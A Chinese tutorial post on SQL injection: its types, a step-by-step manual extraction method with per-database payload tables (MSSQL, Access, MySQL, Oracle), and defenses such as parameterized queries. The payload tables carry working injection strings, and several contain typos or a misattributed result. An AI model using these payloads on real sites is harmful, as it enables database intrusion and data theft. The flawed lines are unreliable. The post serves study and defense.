sql注入-原理&防御
阅读原文时间:2023年07月08日阅读:1

SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

总结一句话:SQL注入实质就是闭合前一句查询语句,构造恶意语句,恶意语句被代入SQL语句执行。


目录

sql注入分类

手工注入的攻击步骤

防御


按数据类型分类

数字型

后台语句可能为:

$id=$_POST['id']

select user,password from users where id=$id

字符型

后台语句可能为:

$id=$_POST['id']

select user,password from users where id='$id'

区别和联系

数字类型直接将后台接收到用户输入的内容带入到数据库中执行;而字符型将接收到的内容添加到引号内然后进行执行。

字符型注入需要考虑语句的闭合问题,而数字类型则不存在

按注入位置分

GET方式注入

注入参数以GET方式进行提交
**
POST方式注入**

注入参数以POST方式进行提交
**
基于cookie的注入**

后台接收cookie内的参数,在http的cookie字段中存在注入漏洞
**
基于http头部的注入**

后台会接收referer或user-agent字段中的参数,http头部中的referer、user-agent字段中存在注入漏洞

盲注

基于UNION的注入

首先通过order by 进行判断查询参数的数目,然后构造union查询,查看回显。有时需要将前面参数名修改为假的参数。如id=-1’ union select 1,2,3 查找页面中1,2,3的位置,在页面中显示的数字的地方构造查询的内容。若页面无回显但报错可以尝试报错注入

基于布尔的盲注

特点:网站页面在输入条件为true和false的情况下会显示不同,但页面中没有输出。此时需要在SQL语句之后添加条件判断。

猜解思路:

猜解数据库:先构造条件判断当前数据库的名字长度,然后逐字猜解数据库名。

猜解数据表:先构造条件判断数据表的数量,然后逐个进行猜解,先猜解表名长度然后逐字猜解表名。

猜解数据列:指定数据库中的指定表进行猜解字段,首先猜解字段的数目,然后逐个猜解字段

猜解内容:指定数据列,先查询数据的条数,然后逐条猜解其中的内容

基于报错的注入

常用函数:

updatexml(1,concat('~',SQL语句,'~'),1)

extractvalue(1,concat('~',(SQL语句)))

基于时间的盲注

特点:网站页面在输入条件为真和为假返回的页面相同,但通过延时函数构造语句,可通过页面响应时间的不同判断是否存在注入

猜解思路:

类似基于布尔的盲注,只是将条件为真转换为延时响应

常用函数

if(condition,A,B):若condition返回真则执行A,假则执行B

substr(str,A,B):字符串截取函数,截取str字符串从A位置开始,截取B个字符

left(str,A):类似字符串截取函数,返回str字符串从左往右数的A个字符

count(A):计算A的数目,常用与查询数据表、数据列、数据内容的条数

len(A):计算A的长度,常用于返回数据库名、数据表名、数据列名的长度

ascii(A):返回A的ascii码,当逐字猜解限制单引号的输入时,可以通过查询ascii码来绕过

宽字节注入

宽字节注入的原理即为数据库的编码与后台程序的编码不一致,数据库中一个字符占两个字节,而后台程序为一个字符占一个字节,当后台程序对输入的单引号的字符进行转义时,通过在这些转义的字符前输入%bf然后将%bf’带入后台程序时会转义为%bf’,此时带入数据库中,数据库将%bf\看作是一个中文字符从而使用单引号将SQL语句进行闭合。

还有一些少见的注入,比如二次注入,base64加密注入等,以后再整理进去

(这里语句太多了,我还是去复制黏贴一下别人的博客吧)

1、确认目标参数

我们首先要确定要测试哪些参数。在以前参数还是比较容易确定的,比如前面说的http://example.com/app/accountView?id=1,问号后边的参数大多是动态参数。

但现在都讲restful,所以首先参数并不一定在问号后边,比如url可能变成http://example.com/app/accountView/1/这样的;其次大多参数都是post的,所以目标要从url更多转移到post数据上。

2、确认动态参数

动态参数就是带入数据库的参数,很多参数是不带入数据库的而只有带入数据库的参数才有可能导致sql注入,所以我们需要确认哪些参数是动态参数。

没具体去分析sqlmap等工具是怎么确定一个参数是不是动态参数,我们可以使用前面说的单引号法和1=1/1=2法,如果参数有过滤不能注入那我们权当他不是动态参数也一样的。

3、爆出数据库类型

因为虽然数据库都兼容sql92但不同的数据库其具有的系统库表和扩展功能都是不一样的,这导致我们后续查询库名、表名、列名具体注入语句会随数据库的不同而有差异,所以首先要确认服务端使用的是什么数据库,是oracle还是mysql还是其他。

和检测操作系统等类似,判断是什么数据库也是用“指纹”的形式,数据库的指纹就是数据库支持的注释符号、系统变量、系统函数、系统表等,所以应该可以整理出更多的检测语句。

数据库

注入语句

原理                                              

用处                                

access

and user>0

user是mssql内置变量,类型为nvarchar;nvarchar与int比较会报错

msqql和access报错不一样可区分数据库是mssql还是access

mssql

and (select count(*) from sysobjects) >= 0

and (select count(*) from msysobjects) >= 0

mssql存在sysobjects不存在msysobjects,上句不会报错下句会报错

access不存在sysobjects存在msysobjects,上句会报错下句不会报错

可用于确认数据库是mssql还是access

mysql

select @@version

select database()

@@version是mysql的内置变量

database()是mysql的内置函数

如果返回正常则说明是oracle

oracle

and exists(select * from dual)

and (select count(*) from user_tables)>0 --

dual和user_tables是oracle的系统表

如果返回正常则说明是oracle

multl

/*

--

;

mysql支持的注释

mssql和oracle支持的注释

oracle不支持多行

报错说明不是mysql

不报错可能是mssql或oracle

报错极有可能是oracle

4、爆出数据库名

数据库

注入语句                                                               

说明                                                            

access

 

access一个数据库对应一个文件,获取文件名没有很大意义

mssql

and db_name() = 0

and db_name(n) > 0

从返回的报错信息中可获取当前数据库名

返回的报错信息中有第n个数据库的库名

mysql

and 1=2 union select 1,database()/*

and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit n,1

select group_concat(schema_name) from information_schema.schemata

爆出当前数据库名

n为几就返回第几个数据库的库名返回空就表示没有更多数据库了

返回所有数据库名

oracle

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5…from dual

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<> '上一库名'),4,5… from dual

返回第一个库名

返回当前用户所拥有的下一库名

5、猜解数据库表名

数据库

注入语句                                                                          

说明                                               

access

and exists(select * from table_name)

and (select count(*) from table_name) >= 0

不断测试table_name

如果返回正常那说明该表存在

mssql

and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status != 0)=0 --

and (select top 1 cast(name as varchar(256)) from (select top n id,name from [sysobjects] where xtype=char(85) and status != 0 order by id)t order by id dsec)=0--

and 0<>(select top 1 name from db_name.dbs.sysobjects where xtype=0x7500 and name not in (select top n name from db_name.dbo.sysobjects where xtype=0x7500)) --

可爆出当前数据库表的数量

n为几就输出第几张表的表名

n为几就输出db_name库第几张表的表名

mysql

and union select 1,table_name from information_schma.tables where table_schema=database() limit n,1--

select group_concat(table_name) from information_schema.tables where table_schema=database()

n为几就返回当前第几张表的表名

返回当前库的所有表名

oracle

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5… from dual

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'上一表名'),4,5…from dual

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like '%25pass%25'),4,5… from dual

返回第一个表名

返回下一个表名

返回包含pass的表名

6、猜解字段名

数据库

注入语句                                                                            

说明                                             

access

and exists(select column_name from table_name)

and (select count(column_name) from table_name) >=0

table_name使用上一步得到的表名,不断试column_name

如果返回正常则说明该字段存在

mssql

having 1=1 --

group by 字段名1 having 1=1 --

group by 字段名1,字段名2 having 1=1 --

可获取表名和第一个字段名

可以得到第二个字段名

可以得到第三个字段名

mysql

and 1=2 union select 1,column_name from information_schema.columns where table_name =ascii_table_name limit n,1--

select group_concat(column_name) from information_schema.columns where table_name=ascii_table_name

ascii_table_name表示要查的表的表句的十六进制型示n为几就返回第几字段的字段名

返回指定表名的所有字段

oracle

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and rownum=1),4,5… from dual

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and column<> '上一字段名' and rownum=1),4,5… from dual

返回第一个字段名

返回下一个字段名

7、猜解字段值

获取字段内容,各数据库的方法是比较通用的,当然也有一些自己特色的获取方法我这里就不管了

方法一:逐字节猜解法

首先猜解出字段长度,然后再逐字节猜解。

and (select top 1 len(column_name) from table_name > 1

and (select top 1 len(column_name) from table_name > 2

..

and (select top 1 len(column_name) from table_name > n-1

and (select top 1 len(column_name) from table_name > n

当n-1正常n错误时说明字段长度为n(二分法快一些)

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 0

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 1

..

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n-1

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n

n-1正常n错误时说明字段值第一位ascii码值为n,再使用mid(cloumn_name,2,1)等继续猜解后续各个位直至n即可

方法二:union select法

上边的逐字节猜解法是相当费劲的,使用union select能更快捷地获取字段值。

由于union select要求两边的select返回的select字段数要一样,所以首先使用order by猜解前边select返回结果的字段数:

order by 1

order by 2

order by n-1

order by n

n-1正常,n报错时说明原先select字段数为n

然后使用union select查出表中内容

and 1=2 union select 1,2…,n from table_name----and 1=2是为了使原本的select结果为空,页面中出现数字x说明该处是显示的是第x字段的结果将x替换为字段名该处即会呈现该字段的内容

and 1=2 union select 1,2..,column_name..,n from table_name----上边的x替换成column_name,页面中x处即会显示column_name字段的内容

代码层面

1、对用户输入的内容进行转义(PHP中addslashes()、mysql_real_escape()函数)。

2、限制关键字的输入(PHP中preg_replace()函数正则替换关键字),限制输入的长度 。

3、使用SQL语句预处理,对SQL语句首先进行预编译,然后进行参数绑定,最后传入参数。

4、所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。

5、数据长度应该严格规定。

6、网站每个数据层的编码统一。

网络层面

1、部署防火墙

2、升级 web 服务器运行平台软件补丁,建议使用 WAF 防护。

面试题:

如何进行SQL注入的防御

  1. 关闭应用的错误提示

  2. 加waf

  3. 对输入进行过滤

  4. 限制输入长度

  5. 限制好数据库权限,drop/create/truncate等权限谨慎grant

  6. 预编译好sql语句,python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入,只能说一定程度上防止注入。还有缓存溢出、终止字符等。

  7. 数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后加盐再md5

  8. 清晰的编程规范,结对/自动化代码 review ,加大量现成的解决方案(PreparedStatement,ActiveRecord,歧义字符过滤, 只可访问存储过程 balabala)已经让 SQL 注入的风险变得非常低了。

  9. 具体的语言如何进行防注入,采用什么安全框架

参考:

https://www.cnblogs.com/lsdb/p/9612424.html

https://blog.csdn.net/BeatRex/article/details/91901196